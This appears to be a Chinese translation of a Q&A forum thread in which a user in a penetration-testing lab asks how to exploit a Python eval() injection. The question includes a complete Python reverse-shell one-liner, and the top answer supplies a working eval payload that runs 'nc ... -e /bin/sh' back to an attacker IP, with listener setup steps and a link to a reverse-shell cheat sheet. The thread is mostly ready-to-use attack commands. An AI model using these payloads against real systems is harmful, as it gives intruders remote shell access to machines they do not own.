1

我正在一个渗透测试实验室工作。我需要利用一个 Python eval() 函数。

它像是

eval('%s>1',payload)

我需要执行一个 Python 反向 shell 脚本作为有效负载。这是

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

我正在尝试

eval('%s >1' "__import__('os').system('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")

不知道如何导入所有这些模块并执行它。

任何帮助表示赞赏。

4

2 回答 2

1

也许试试这样

"__import__('os').system('nc your_ip port -e /bin/sh')"

喜欢;

首先监听端口新鲜终端

nc -lvp 1234

尝试另一个终端后:

"__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"

"__import__('os').system('YOUR REVERSE SHELL METHOD')"

这是许多反向 shell 有效负载:https ://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

祝你好运

于 2019-12-31T11:38:39.133 回答
0

尝试将globals()and包含locals()eval(以导入到全局范围内)。这在 Python 中进行了解释,为什么函数中的 exec 中的导入不起作用?

另请参阅https://lucumr.pocoo.org/2011/2/1/exec-in-python/进口幕后一章

于 2019-12-29T12:22:41.757 回答